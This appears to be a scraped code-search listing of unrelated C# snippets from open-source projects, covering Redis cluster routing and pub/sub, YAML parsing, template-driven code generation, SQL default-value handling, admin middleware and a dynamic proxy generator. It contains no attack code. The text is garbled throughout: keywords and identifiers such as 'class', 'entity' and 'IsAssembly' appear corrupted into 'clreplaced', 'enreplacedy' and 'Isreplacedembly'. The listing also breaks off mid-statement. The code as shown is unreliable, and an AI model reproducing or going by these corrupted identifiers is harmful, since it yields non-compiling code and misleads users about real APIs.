ConnectionStringBuilder connectionString = testConnection.ToString();
connectionString.Host = endpoint;
RegisterClusterNode(connectionString);
for (var slotIndex = 8; slotIndex < dt.Length; slotIndex++)
{
var slots = dt[slotIndex].Split('-');
if (ushort.TryParse(slots[0], out var tryslotStart) &&
ushort.TryParse(slots[1], out var tryslotEnd))
{
for (var slot = tryslotStart; slot <= tryslotEnd; slot++)
_slotCache.AddOrUpdate(slot, connectionString.Host, (k1, v1) => connectionString.Host);
}
}
}
break;
}
catch
{
_ib.TryRemove(testConnection.Host, true);
}
}
if (_ib.GetKeys().Length == 0)
throw new RedisClientException($"All \"clusterConnectionStrings\" failed to connect");
}
19
View Source File : YmlFormatUtil.cs
License : Apache License 2.0
Project Creator : 214175590
License : Apache License 2.0
Project Creator : 214175590
public static List<YmlItem> FormatYmlToTree(string content)
{
List<YmlItem> lists = new List<YmlItem>();
string[] lines = content.Split('\n');
YmlItem item = null;
string startStr = "";
List<YmlItem> levels = new List<YmlItem>();
int index1 = -1, index2 = -1, index = 0;
foreach(string line in lines){
if(string.IsNullOrWhiteSpace(line)){
item = new YmlItem();
item.Uuid = "T" + (index++);
item.ImageIndex = 2;
item.Key = "#" + line;
item.Value = "";
item.Level = 0;
item.Common = "";
lists.Add(item);
continue;
}
if(line.TrimStart().StartsWith("#")){
item = new YmlItem();
item.Uuid = "T" + (index++);
item.ImageIndex = 2;
item.Key = line;
item.Value = "";
item.Level = 0;
item.Common = "";
lists.Add(item);
}
else
{
item = new YmlItem();
item.Uuid = "T" + (index++);
item.ImageIndex = 0;
item.Key = "";
item.Value = "";
item.Level = 0;
item.Common = "";
item.SpcCount = StartSpaceCount(line);
if (item.SpcCount == 0)
{
levels.Clear();
item.Level = 0;
}
else
{
// level
for (int i = levels.Count - 1; i >= 0; i-- )
{
if (levels[i].SpcCount < item.SpcCount)
{
item.Level = levels[i].Level + 1;
item.Parent = levels[i];
break;
}
}
}
levels.Add(item);
index2 = line.IndexOf("#");
if (index2 > 0)
{
startStr = line.Substring(0, index2);
item.Common = line.Substring(index2);
}
else
{
startStr = line;
}
index1 = startStr.IndexOf(":");
if (index1 > 0)
{
item.Key = startStr.Substring(0, index1).TrimStart();
item.Value = startStr.Substring(index1 + 1).Trim();
}
else
{
item.Key = startStr.TrimStart();
item.Common = "--格式错误--";
}
if (!string.IsNullOrWhiteSpace(item.Value))
{
item.ImageIndex = 1;
}
lists.Add(item);
}
}
return lists;
}
19
View Source File : ClusterAdapter.cs
License : MIT License
Project Creator : 2881099
License : MIT License
Project Creator : 2881099
public override TValue AdapterCall<TValue>(CommandPacket cmd, Func<RedisResult, TValue> parse)
{
if (cmd._keyIndexes.Count > 1) //Multiple key slot values not equal
{
cmd.Prefix(TopOwner.Prefix);
switch (cmd._command)
{
case "DEL":
case "UNLINK":
return cmd._keyIndexes.Select((_, idx) => AdapterCall(cmd._command.InputKey(cmd.GetKey(idx)), parse)).Sum(a => a.ConvertTo<long>()).ConvertTo<TValue>();
case "MSET":
cmd._keyIndexes.ForEach(idx => AdapterCall(cmd._command.InputKey(cmd._input[idx].ToInvariantCultureToString()).InputRaw(cmd._input[idx + 1]), parse));
return default;
case "MGET":
return cmd._keyIndexes.Select((_, idx) =>
{
var rt = AdapterCall(cmd._command.InputKey(cmd.GetKey(idx)), parse);
return rt.ConvertTo<object[]>().FirstOrDefault();
}).ToArray().ConvertTo<TValue>();
case "PFCOUNT":
return cmd._keyIndexes.Select((_, idx) => AdapterCall(cmd._command.InputKey(cmd.GetKey(idx)), parse)).Sum(a => a.ConvertTo<long>()).ConvertTo<TValue>();
}
}
return TopOwner.LogCall(cmd, () =>
{
RedisResult rt = null;
RedisClientPool pool = null;
var protocolRetry = false;
using (var rds = GetRedisSocket(cmd))
{
pool = (rds as DefaultRedisSocket.TempProxyRedisSocket)._pool;
try
{
if (cmd._clusterMovedAsking)
{
cmd._clusterMovedAsking = false;
var askingCmd = "ASKING".SubCommand(null).FlagReadbytes(false);
rds.Write(askingCmd);
rds.Read(askingCmd);
}
rds.Write(cmd);
rt = rds.Read(cmd);
}
catch (ProtocolViolationException)
{
rds.ReleaseSocket();
cmd._protocolErrorTryCount++;
if (cmd._protocolErrorTryCount <= pool._policy._connectionStringBuilder.Retry)
protocolRetry = true;
else
{
if (cmd.IsReadOnlyCommand() == false || cmd._protocolErrorTryCount > 1) throw;
protocolRetry = true;
}
}
catch (Exception ex)
{
if (pool?.SetUnavailable(ex) == true)
{
}
throw;
}
}
if (protocolRetry) return AdapterCall(cmd, parse);
if (rt.IsError && pool != null)
{
var moved = ClusterMoved.ParseSimpleError(rt.SimpleError);
if (moved != null && cmd._clusterMovedTryCount < 3)
{
cmd._clusterMovedTryCount++;
if (moved.endpoint.StartsWith("127.0.0.1"))
moved.endpoint = $"{DefaultRedisSocket.SplitHost(pool._policy._connectionStringBuilder.Host).Key}:{moved.endpoint.Substring(10)}";
else if (moved.endpoint.StartsWith("localhost", StringComparison.CurrentCultureIgnoreCase))
moved.endpoint = $"{DefaultRedisSocket.SplitHost(pool._policy._connectionStringBuilder.Host).Key}:{moved.endpoint.Substring(10)}";
ConnectionStringBuilder connectionString = pool._policy._connectionStringBuilder.ToString();
connectionString.Host = moved.endpoint;
RegisterClusterNode(connectionString);
if (moved.ismoved)
_slotCache.AddOrUpdate(moved.slot, connectionString.Host, (k1, v1) => connectionString.Host);
if (moved.isask)
cmd._clusterMovedAsking = true;
TopOwner.OnNotice(null, new NoticeEventArgs(NoticeType.Info, null, $"{(cmd.WriteTarget ?? "Not connected").PadRight(21)} > {cmd}\r\n{rt.SimpleError} ", null));
return AdapterCall(cmd, parse);
}
}
return parse(rt);
});
}
19
View Source File : ClusterAdapter.cs
License : MIT License
Project Creator : 2881099
License : MIT License
Project Creator : 2881099
public static ClusterMoved ParseSimpleError(string simpleError)
{
if (string.IsNullOrWhiteSpace(simpleError)) return null;
var ret = new ClusterMoved
{
ismoved = simpleError.StartsWith("MOVED "), //永久定向
isask = simpleError.StartsWith("ASK ") //临时性一次定向
};
if (ret.ismoved == false && ret.isask == false) return null;
var parts = simpleError.Split(new string[] { "\r\n" }, StringSplitOptions.None).FirstOrDefault().Split(new[] { ' ' }, 3);
if (parts.Length != 3 ||
ushort.TryParse(parts[1], out ret.slot) == false) return null;
ret.endpoint = parts[2];
return ret;
}
19
View Source File : PubSub.cs
License : MIT License
Project Creator : 2881099
License : MIT License
Project Creator : 2881099
internal void Cancel(params Guid[] ids)
{
if (ids == null) return;
var readyUnsubInterKeys = new List<string>();
foreach (var id in ids)
{
if (_cancels.TryRemove(id, out var oldkeys))
foreach (var oldkey in oldkeys)
{
if (_registers.TryGetValue(oldkey, out var oldrecvs) &&
oldrecvs.TryRemove(id, out var oldrecv) &&
oldrecvs.Any() == false)
readyUnsubInterKeys.Add(oldkey);
}
}
var unsub = readyUnsubInterKeys.Where(a => !a.StartsWith(_psub_regkey_prefix)).ToArray();
var punsub = readyUnsubInterKeys.Where(a => a.StartsWith(_psub_regkey_prefix)).Select(a => a.Replace(_psub_regkey_prefix, "")).ToArray();
if (unsub.Any()) Call("UNSUBSCRIBE".Input(unsub));
if (punsub.Any()) Call("PUNSUBSCRIBE".Input(punsub));
if (!_cancels.Any())
lock (_lock)
if (!_cancels.Any())
_redisSocket?.ReleaseSocket();
}
19
View Source File : RedisClient.cs
License : MIT License
Project Creator : 2881099
License : MIT License
Project Creator : 2881099
internal T DeserializeRedisValue<T>(byte[] valueRaw, Encoding encoding)
{
if (valueRaw == null) return default(T);
var type = typeof(T);
var typename = type.ToString().TrimEnd(']');
if (typename == "System.Byte[") return (T)Convert.ChangeType(valueRaw, type);
if (typename == "System.String") return (T)Convert.ChangeType(encoding.GetString(valueRaw), type);
if (typename == "System.Boolean[") return (T)Convert.ChangeType(valueRaw.Select(a => a == 49).ToArray(), type);
if (valueRaw.Length == 0) return default(T);
string valueStr = null;
if (type.IsValueType)
{
valueStr = encoding.GetString(valueRaw);
bool isNullable = typename.StartsWith("System.Nullable`1[");
var basename = isNullable ? typename.Substring(18) : typename;
bool isElse = false;
object obj = null;
switch (basename)
{
case "System.Boolean":
if (valueStr == "1") obj = true;
else if (valueStr == "0") obj = false;
break;
case "System.Byte":
if (byte.TryParse(valueStr, out var trybyte)) obj = trybyte;
break;
case "System.Char":
if (valueStr.Length > 0) obj = valueStr[0];
break;
case "System.Decimal":
if (Decimal.TryParse(valueStr, out var trydec)) obj = trydec;
break;
case "System.Double":
if (Double.TryParse(valueStr, out var trydb)) obj = trydb;
break;
case "System.Single":
if (Single.TryParse(valueStr, out var trysg)) obj = trysg;
break;
case "System.Int32":
if (Int32.TryParse(valueStr, out var tryint32)) obj = tryint32;
break;
case "System.Int64":
if (Int64.TryParse(valueStr, out var tryint64)) obj = tryint64;
break;
case "System.SByte":
if (SByte.TryParse(valueStr, out var trysb)) obj = trysb;
break;
case "System.Int16":
if (Int16.TryParse(valueStr, out var tryint16)) obj = tryint16;
break;
case "System.UInt32":
if (UInt32.TryParse(valueStr, out var tryuint32)) obj = tryuint32;
break;
case "System.UInt64":
if (UInt64.TryParse(valueStr, out var tryuint64)) obj = tryuint64;
break;
case "System.UInt16":
if (UInt16.TryParse(valueStr, out var tryuint16)) obj = tryuint16;
break;
case "System.DateTime":
if (DateTime.TryParse(valueStr, out var trydt)) obj = trydt;
break;
case "System.DateTimeOffset":
if (DateTimeOffset.TryParse(valueStr, out var trydtos)) obj = trydtos;
break;
case "System.TimeSpan":
if (Int64.TryParse(valueStr, out tryint64)) obj = new TimeSpan(tryint64);
break;
case "System.Guid":
if (Guid.TryParse(valueStr, out var tryguid)) obj = tryguid;
break;
default:
isElse = true;
break;
}
if (isElse == false)
{
if (obj == null) return default(T);
return (T)obj;
}
}
if (Adapter.TopOwner.DeserializeRaw != null) return (T)Adapter.TopOwner.DeserializeRaw(valueRaw, typeof(T));
if (valueStr == null) valueStr = encoding.GetString(valueRaw);
if (Adapter.TopOwner.Deserialize != null) return (T)Adapter.TopOwner.Deserialize(valueStr, typeof(T));
return valueStr.ConvertTo<T>();
}
19
View Source File : TemplateEngin.cs
License : MIT License
Project Creator : 2881099
License : MIT License
Project Creator : 2881099
public static string TranslateUrl(string url, string baseDir) {
if (string.IsNullOrEmpty(baseDir))
{
baseDir = AppContext.BaseDirectory + "/";
if (url.StartsWith(AppContext.BaseDirectory)) url = url.Substring(AppContext.BaseDirectory.Length).TrimStart('/');
}
if (string.IsNullOrEmpty(url)) return Path.GetDirectoryName(baseDir);
if (url.StartsWith("~/")) url = url.Substring(1);
if (url.StartsWith("/")) return Path.GetFullPath(Path.Combine(Path.GetDirectoryName(baseDir), url.TrimStart('/')));
if (url.StartsWith("\\")) return Path.GetFullPath(Path.Combine(Path.GetDirectoryName(baseDir), url.TrimStart('\\')));
if (url.IndexOf(":\\") != -1) return url;
return Path.GetFullPath(Path.Combine(Path.GetDirectoryName(baseDir), url));
}
19
View Source File : TemplateGenerator.cs
License : MIT License
Project Creator : 2881099
License : MIT License
Project Creator : 2881099
void BuildEachDirectory(string templateDirectory, string outputDirectory, TemplateEngin tpl, IDbFirst dbfirst, List<DbTableInfo> tables) {
if (Directory.Exists(outputDirectory) == false) Directory.CreateDirectory(outputDirectory);
var files = Directory.GetFiles(templateDirectory);
foreach (var file in files) {
var fi = new FileInfo(file);
if (string.Compare(fi.Extension, ".FreeSql", true) == 0) {
var outputExtension = "." + fi.Name.Split('.')[1];
if (fi.Name.StartsWith("for-table.")) {
foreach (var table in tables) {
var result = tpl.RenderFile(file, new Dictionary<string, object>() { { "table", table }, { "dbfirst", dbfirst } });
if (result.EndsWith("return;")) continue;
var outputName = table.Name + outputExtension;
var mcls = Regex.Match(result, @"\s+clreplaced\s+(\w+)");
if (mcls.Success) outputName = mcls.Groups[1].Value + outputExtension;
var outputStream = Encoding.UTF8.GetBytes(result);
var fullname = outputDirectory + "/" + outputName;
if (File.Exists(fullname)) File.Delete(fullname);
using (var outfs = File.Open(fullname, FileMode.OpenOrCreate, FileAccess.Write)) {
outfs.Write(outputStream, 0, outputStream.Length);
outfs.Close();
}
}
continue;
} else {
var result = tpl.RenderFile(file, new Dictionary<string, object>() { { "tables", tables }, { "dbfirst", dbfirst } });
var outputName = fi.Name;
var mcls = Regex.Match(result, @"\s+clreplaced\s+(\w+)");
if (mcls.Success) outputName = mcls.Groups[1].Value + outputExtension;
var outputStream = Encoding.UTF8.GetBytes(result);
var fullname = outputDirectory + "/" + outputName;
if (File.Exists(fullname)) File.Delete(fullname);
using (var outfs = File.Open(fullname, FileMode.OpenOrCreate, FileAccess.Write)) {
outfs.Write(outputStream, 0, outputStream.Length);
outfs.Close();
}
}
}
File.Copy(file, outputDirectory + file.Replace(templateDirectory, ""), true);
}
var dirs = Directory.GetDirectories(templateDirectory);
foreach(var dir in dirs) {
BuildEachDirectory(dir, outputDirectory + dir.Replace(templateDirectory, ""), tpl, dbfirst, tables);
}
}
19
View Source File : InternalExtensions.cs
License : MIT License
Project Creator : 2881099
License : MIT License
Project Creator : 2881099
static bool IsNullableType(this Type that) => that.IsArray == false && that?.FullName.StartsWith("System.Nullable`1[") == true;
19
View Source File : RazorModel.cs
License : MIT License
Project Creator : 2881099
License : MIT License
Project Creator : 2881099
public string GetColumnDefaultValue(DbColumnInfo col, bool isInsertValueSql)
{
var defval = col.DefaultValue?.Trim();
if (string.IsNullOrEmpty(defval)) return null;
var cstype = col.CsType.NullableTypeOrThis();
if (fsql.Ado.DataType == DataType.SqlServer || fsql.Ado.DataType == DataType.OdbcSqlServer)
{
if (defval.StartsWith("((") && defval.EndsWith("))")) defval = defval.Substring(2, defval.Length - 4);
else if (defval.StartsWith("('") && defval.EndsWith("')")) defval = defval.Substring(2, defval.Length - 4).Replace("''", "'");
else if(defval.StartsWith("(") && defval.EndsWith(")")) defval = defval.Substring(1, defval.Length - 2);
else return null;
}
else if ((cstype == typeof(string) && defval.StartsWith("'") && defval.EndsWith("'::character varying") ||
cstype == typeof(Guid) && defval.StartsWith("'") && defval.EndsWith("'::uuid")
) && (fsql.Ado.DataType == DataType.PostgreSQL || fsql.Ado.DataType == DataType.OdbcPostgreSQL ||
fsql.Ado.DataType == DataType.OdbcKingbaseES ||
fsql.Ado.DataType == DataType.ShenTong))
{
defval = defval.Substring(1, defval.LastIndexOf("'::") - 1).Replace("''", "'");
}
else if (defval.StartsWith("'") && defval.EndsWith("'"))
{
defval = defval.Substring(1, defval.Length - 2).Replace("''", "'");
if (fsql.Ado.DataType == DataType.MySql || fsql.Ado.DataType == DataType.OdbcMySql) defval = defval.Replace("\\\\", "\\");
}
if (cstype.IsNumberType() && decimal.TryParse(defval, out var trydec))
{
if (isInsertValueSql) return defval;
if (cstype == typeof(float)) return defval + "f";
if (cstype == typeof(double)) return defval + "d";
if (cstype == typeof(decimal)) return defval + "M";
return defval;
}
if (cstype == typeof(Guid) && Guid.TryParse(defval, out var tryguid)) return isInsertValueSql ? (fsql.Select<TestTb>() as Select0Provider)._commonUtils.FormatSql("{0}", defval) : $"Guid.Parse(\"{defval.Replace("\r\n", "\\r\\n").Replace("\"", "\\\"")}\")";
if (cstype == typeof(DateTime) && DateTime.TryParse(defval, out var trydt)) return isInsertValueSql ? (fsql.Select<TestTb>() as Select0Provider)._commonUtils.FormatSql("{0}", defval) : $"DateTime.Parse(\"{defval.Replace("\r\n", "\\r\\n").Replace("\"", "\\\"")}\")";
if (cstype == typeof(TimeSpan) && TimeSpan.TryParse(defval, out var tryts)) return isInsertValueSql ? (fsql.Select<TestTb>() as Select0Provider)._commonUtils.FormatSql("{0}", defval) : $"TimeSpan.Parse(\"{defval.Replace("\r\n", "\\r\\n").Replace("\"", "\\\"")}\")";
if (cstype == typeof(string)) return isInsertValueSql ? (fsql.Select<TestTb>() as Select0Provider)._commonUtils.FormatSql("{0}", defval) : $"\"{defval.Replace("\r\n", "\\r\\n").Replace("\"", "\\\"")}\"";
if (cstype == typeof(bool)) return isInsertValueSql ? defval : (defval == "1" || defval == "t" ? "true" : "false");
if (fsql.Ado.DataType == DataType.MySql || fsql.Ado.DataType == DataType.OdbcMySql)
if (col.DbType == (int)MySql.Data.MySqlClient.MySqlDbType.Enum || col.DbType == (int)MySql.Data.MySqlClient.MySqlDbType.Set)
if (isInsertValueSql) return (fsql.Select<TestTb>() as Select0Provider)._commonUtils.FormatSql("{0}", defval);
return isInsertValueSql ? defval : null; //sql function or exp
}
19
View Source File : AdminLTEExtesions.cs
License : MIT License
Project Creator : 2881099
License : MIT License
Project Creator : 2881099
public static IApplicationBuilder UseFreeAdminLtePreview(this IApplicationBuilder app, string requestPathBase, params Type[] enreplacedyTypes) {
requestPathBase = requestPathBase.ToLower();
if (requestPathBase.StartsWith("/") == false) requestPathBase = $"/{requestPathBase}";
if (requestPathBase.EndsWith("/") == false) requestPathBase = $"{requestPathBase}/";
var restfulRequestPath = $"{requestPathBase}restful-api";
IFreeSql fsql = app.ApplicationServices.GetService(typeof(IFreeSql)) as IFreeSql;
if (fsql == null) throw new Exception($"UseFreeAdminLtePreview 错误,找不到 IFreeSql,请提前注入");
var dicEnreplacedyTypes = enreplacedyTypes.ToDictionary(a => a.Name);
app.UseFreeAdminLteStaticFiles(requestPathBase);
app.Use(async (context, next) => {
var req = context.Request;
var res = context.Response;
var location = req.Path.Value;
var is301 = false;
if (location.EndsWith("/") == false) {
is301 = true;
location = $"{location}/";
}
var reqPath = location.ToLower();
try {
if (reqPath == requestPathBase) {
if (is301) {
res.StatusCode = 301;
res.Headers["Location"] = location;
return;
}
//首页
var sb = new StringBuilder();
sb.AppendLine(@"<ul clreplaced=""treeview-menu"">");
foreach (var et in dicEnreplacedyTypes) {
sb.AppendLine($@"<li><a href=""{requestPathBase}{et.Key}/""><i clreplaced=""fa fa-circle-o""></i>{fsql.CodeFirst.GetTableByEnreplacedy(et.Value).Comment.IsNullOrEmtpty(et.Key)}</a></li>");
}
sb.AppendLine(@"</ul>");
await res.WriteAsync(Views.Index.Replace(@"<ul clreplaced=""treeview-menu""></ul>", sb.ToString()));
return;
}
else if (reqPath.StartsWith(restfulRequestPath)) {
//动态接口
if (await Restful.Use(context, fsql, restfulRequestPath, dicEnreplacedyTypes)) return;
}
else if (reqPath.StartsWith(requestPathBase)) {
if (reqPath == "/favicon.ico/") return;
//前端UI
if (await Admin.Use(context, fsql, requestPathBase, dicEnreplacedyTypes)) return;
}
} catch (Exception ex) {
await Utils.Jsonp(context, new { code = 500, message = ex.Message });
return;
}
await next();
});
return app;
}
19
View Source File : InternalExtensions.cs
License : MIT License
Project Creator : 2881099
License : MIT License
Project Creator : 2881099
static bool IsAnonymousType(this Type that) => that?.FullName.StartsWith("<>f__AnonymousType") == true;
19
View Source File : DbSet.cs
License : MIT License
Project Creator : 2881099
License : MIT License
Project Creator : 2881099
internal void TrackToList(object list) {
if (list == null) return;
var ls = list as IList<TEnreplacedy>;
if (ls == null) {
var ie = list as IEnumerable;
if (ie == null) return;
foreach (var item in ie) {
if (item == null) return;
var itemType = item.GetType();
if (itemType == typeof(object)) return;
if (itemType.FullName.StartsWith("Submission#")) itemType = itemType.BaseType;
var dbset = _ctx.Set(itemType);
dbset?.GetType().GetMethod("TrackToList", BindingFlags.Instance | BindingFlags.NonPublic).Invoke(dbset, new object[] { list });
return;
}
return;
}
foreach (var item in ls) {
var key = _fsql.GetEnreplacedyKeyString(_enreplacedyType, item, false);
if (key == null) continue;
_states.AddOrUpdate(key, k => CreateEnreplacedyState(item), (k, ov) => {
_fsql.MapEnreplacedyValue(_enreplacedyType, item, ov.Value);
ov.Time = DateTime.Now;
return ov;
});
}
}
19
View Source File : DynamicProxy.cs
License : MIT License
Project Creator : 2881099
License : MIT License
Project Creator : 2881099
public static DynamicProxyMeta CreateDynamicProxyMeta(Type type, bool isCompile, bool isThrow)
{
if (type == null) return null;
var typeCSharpName = type.DisplayCsharp();
if (type.IsNotPublic)
{
if (isThrow) throw new ArgumentException($"FreeSql.DynamicProxy 失败提示:{typeCSharpName} 需要使用 public 标记");
return null;
}
var matchedMemberInfos = new List<MemberInfo>();
var matchedAttributes = new List<DynamicProxyAttribute>();
var matchedAttributesFromServices = new List<FieldInfo[]>();
var clreplacedName = $"AopProxyClreplaced___{Guid.NewGuid().ToString("N")}";
var methodOverrideSb = new StringBuilder();
var sb = methodOverrideSb;
#region Common Code
Func<Type, DynamicProxyInjectorType, bool, int, string, string> getMatchedAttributesCode = (returnType, injectorType, isAsync, attrsIndex, proxyMethodName) =>
{
var sbt = new StringBuilder();
for (var a = attrsIndex; a < matchedAttributes.Count; a++)
{
sbt.Append($@"{(proxyMethodName == "Before" ? $@"
var __DP_ARG___attribute{a} = __DP_Meta.{nameof(DynamicProxyMeta.CreateDynamicProxyAttribute)}({a});
__DP_ARG___attribute{a}_FromServicesCopyTo(__DP_ARG___attribute{a});" : "")}
var __DP_ARG___{proxyMethodName}{a} = new {(proxyMethodName == "Before" ? _beforeAgumentsName : _afterAgumentsName)}(this, {_injectorTypeName}.{injectorType.ToString()}, __DP_Meta.MatchedMemberInfos[{a}], __DP_ARG___parameters, {(proxyMethodName == "Before" ? "null" : "__DP_ARG___return_value, __DP_ARG___exception")});
{(isAsync ? "await " : "")}__DP_ARG___attribute{a}.{proxyMethodName}(__DP_ARG___{proxyMethodName}{a});
{(proxyMethodName == "Before" ?
$@"if (__DP_ARG___is_return == false)
{{
__DP_ARG___is_return = __DP_ARG___{proxyMethodName}{a}.Returned;{(returnType != typeof(void) ? $@"
if (__DP_ARG___is_return) __DP_ARG___return_value = __DP_ARG___{proxyMethodName}{a}.ReturnValue;" : "")}
}}" :
$"if (__DP_ARG___{proxyMethodName}{a}.Exception != null && __DP_ARG___{proxyMethodName}{a}.ExceptionHandled == false) throw __DP_ARG___{proxyMethodName}{a}.Exception;")}");
}
return sbt.ToString();
};
Func<Type, DynamicProxyInjectorType, bool, string, string> getMatchedAttributesCodeReturn = (returnType, injectorType, isAsync, basePropertyValueTpl) =>
{
var sbt = new StringBuilder();
var taskType = returnType.ReturnTypeWithoutTask();
sbt.Append($@"
{(returnType == typeof(void) ? "return;" : (isAsync == false && returnType.IsTask() ?
(taskType.IsValueType || taskType.IsGenericParameter ?
$"return __DP_ARG___return_value == null ? null : (__DP_ARG___return_value.GetType() == typeof({taskType.DisplayCsharp()}) ? System.Threading.Tasks.Task.FromResult(({taskType.DisplayCsharp()})__DP_ARG___return_value) : ({returnType.DisplayCsharp()})__DP_ARG___return_value);" :
$"return __DP_ARG___return_value == null ? null : (__DP_ARG___return_value.GetType() == typeof({taskType.DisplayCsharp()}) ? System.Threading.Tasks.Task.FromResult(__DP_ARG___return_value as {taskType.DisplayCsharp()}) : ({returnType.DisplayCsharp()})__DP_ARG___return_value);"
) :
(returnType.IsValueType || returnType.IsGenericParameter ? $"return ({returnType.DisplayCsharp()})__DP_ARG___return_value;" : $"return __DP_ARG___return_value as {returnType.DisplayCsharp()};")))}");
return sbt.ToString();
};
Func<string, Type, string> getMatchedAttributesCodeAuditParameter = (methodParameterName, methodParameterType) =>
{
return $@"
if (!object.ReferenceEquals({methodParameterName}, __DP_ARG___parameters[""{methodParameterName}""])) {methodParameterName} = {(methodParameterType.IsValueType ? $@"({methodParameterType.DisplayCsharp()})__DP_ARG___parameters[""{methodParameterName}""]" : $@"__DP_ARG___parameters[""{methodParameterName}""] as {methodParameterType.DisplayCsharp()}")};";
};
#endregion
#region Methods
var ctors = type.GetConstructors(BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic).Where(a => a.IsStatic == false).ToArray();
var methods = type.GetMethods(BindingFlags.Instance | BindingFlags.Public | BindingFlags.DeclaredOnly);
foreach (var method in methods)
{
if (method.Name.StartsWith("get_") || method.Name.StartsWith("set_"))
if (type.GetProperty(method.Name.Substring(4), BindingFlags.Instance | BindingFlags.Public | BindingFlags.DeclaredOnly) != null) continue;
var attrs = method.GetCustomAttributes(false).Select(a => a as DynamicProxyAttribute).Where(a => a != null).ToArray();
if (attrs.Any() == false) continue;
var attrsIndex = matchedAttributes.Count;
matchedMemberInfos.AddRange(attrs.Select(a => method));
matchedAttributes.AddRange(attrs);
#if net50 || ns21 || ns20
matchedAttributesFromServices.AddRange(attrs.Select(af => af.GetType().GetFields(BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.DeclaredOnly)
.Where(gf => gf.GetCustomAttribute(typeof(DynamicProxyFromServicesAttribute)) != null).ToArray()));
#else
matchedAttributesFromServices.AddRange(attrs.Select(af => new FieldInfo[0]));
#endif
if (method.IsVirtual == false || method.IsFinal)
{
if (isThrow) throw new ArgumentException($"FreeSql.DynamicProxy 失败提示:{typeCSharpName} 方法 {method.Name} 需要使用 virtual 标记");
continue;
}
#if net40
var returnType = method.ReturnType;
var methodIsAsync = false;
#else
var returnType = method.ReturnType.ReturnTypeWithoutTask();
var methodIsAsync = method.ReturnType.IsTask();
//if (attrs.Where(a => a.GetType().GetMethod("BeforeAsync", BindingFlags.Instance | BindingFlags.Public | BindingFlags.DeclaredOnly) != null).Any() ||
// attrs.Where(a => a.GetType().GetMethod("AfterAsync", BindingFlags.Instance | BindingFlags.Public | BindingFlags.DeclaredOnly) != null).Any())
//{
//}
#endif
var baseInvoke = type.IsInterface == false ? $@"
try
{{
if (__DP_ARG___is_return == false)
{{{string.Join("", method.GetParameters().Select(a => getMatchedAttributesCodeAuditParameter(a.Name, a.ParameterType)))}
{(returnType != typeof(void) ? "__DP_ARG___return_value = " : "")}{(methodIsAsync ? "await " : "")}base.{method.Name}({(string.Join(", ", method.GetParameters().Select(a => a.Name)))});
}}
}}
catch (Exception __DP_ARG___ex)
{{
__DP_ARG___exception = __DP_ARG___ex;
}}" : "";
sb.Append($@"
{(methodIsAsync ? "async " : "")}{method.DisplayCsharp(true)}
{{
Exception __DP_ARG___exception = null;
var __DP_ARG___is_return = false;
object __DP_ARG___return_value = null;
var __DP_ARG___parameters = new Dictionary<string, object>();{string.Join("\r\n ", method.GetParameters().Select(a => $"__DP_ARG___parameters.Add(\"{a.Name}\", {a.Name});"))}
{getMatchedAttributesCode(returnType, DynamicProxyInjectorType.Method, methodIsAsync, attrsIndex, "Before")}{baseInvoke}
{getMatchedAttributesCode(returnType, DynamicProxyInjectorType.Method, methodIsAsync, attrsIndex, "After")}
{getMatchedAttributesCodeReturn(returnType, DynamicProxyInjectorType.Method, methodIsAsync, null)}
}}");
}
#endregion
var propertyOverrideSb = new StringBuilder();
sb = propertyOverrideSb;
#region Property
var props = type.IsInterface == false ? type.GetProperties(BindingFlags.Instance | BindingFlags.Public | BindingFlags.DeclaredOnly) : new PropertyInfo[0];
foreach (var prop2 in props)
{
var getMethod = prop2.GetGetMethod(false);
var setMethod = prop2.GetSetMethod(false);
if (getMethod?.IsFinal == true || setMethod?.IsFinal == true || (getMethod?.IsVirtual == false && setMethod?.IsVirtual == false))
{
if (getMethod?.GetCustomAttributes(false).Select(a => a as DynamicProxyAttribute).Where(a => a != null).Any() == true ||
setMethod?.GetCustomAttributes(false).Select(a => a as DynamicProxyAttribute).Where(a => a != null).Any() == true)
{
if (isThrow) throw new ArgumentException($"FreeSql.DynamicProxy 失败提示:{typeCSharpName} 属性 {prop2.Name} 需要使用 virtual 标记");
continue;
}
}
var attrs = prop2.GetCustomAttributes(false).Select(a => a as DynamicProxyAttribute).Where(a => a != null).ToArray();
var prop2AttributeAny = attrs.Any();
var getMethodAttributeAny = prop2AttributeAny;
var setMethodAttributeAny = prop2AttributeAny;
if (attrs.Any() == false && getMethod?.IsVirtual == true)
{
attrs = getMethod.GetCustomAttributes(false).Select(a => a as DynamicProxyAttribute).Where(a => a != null).ToArray();
getMethodAttributeAny = attrs.Any();
}
if (attrs.Any() == false && setMethod?.IsVirtual == true)
{
attrs = setMethod.GetCustomAttributes(false).Select(a => a as DynamicProxyAttribute).Where(a => a != null).ToArray();
setMethodAttributeAny = attrs.Any();
}
if (attrs.Any() == false) continue;
var attrsIndex = matchedAttributes.Count;
matchedMemberInfos.AddRange(attrs.Select(a => prop2));
matchedAttributes.AddRange(attrs);
#if net50 || ns21 || ns20
matchedAttributesFromServices.AddRange(attrs.Select(af => af.GetType().GetFields(BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.DeclaredOnly)
.Where(gf => gf.GetCustomAttribute(typeof(DynamicProxyFromServicesAttribute)) != null).ToArray()));
#else
matchedAttributesFromServices.AddRange(attrs.Select(af => new FieldInfo[0]));
#endif
var returnTypeCSharpName = prop2.PropertyType.DisplayCsharp();
var propModification = (getMethod?.IsPublic == true || setMethod?.IsPublic == true ? "public " : (getMethod?.Isreplacedembly == true || setMethod?.Isreplacedembly == true ? "internal " : (getMethod?.IsFamily == true || setMethod?.IsFamily == true ? "protected " : (getMethod?.IsPrivate == true || setMethod?.IsPrivate == true ? "private " : ""))));
var propSetModification = (setMethod?.IsPublic == true ? "public " : (setMethod?.Isreplacedembly == true ? "internal " : (setMethod?.IsFamily == true ? "protected " : (setMethod?.IsPrivate == true ? "private " : ""))));
var propGetModification = (getMethod?.IsPublic == true ? "public " : (getMethod?.Isreplacedembly == true ? "internal " : (getMethod?.IsFamily == true ? "protected " : (getMethod?.IsPrivate == true ? "private " : ""))));
if (propSetModification == propModification) propSetModification = "";
if (propGetModification == propModification) propGetModification = "";
//if (getMethod.IsAbstract) sb.Append("abstract ");
sb.Append($@"
{propModification}{(getMethod?.IsStatic == true ? "static " : "")}{(getMethod?.IsVirtual == true ? "override " : "")}{returnTypeCSharpName} {prop2.Name}
{{");
if (getMethod != null)
{
if (getMethodAttributeAny == false) sb.Append($@"
{propGetModification} get
{{
return base.{prop2.Name}
}}");
else sb.Append($@"
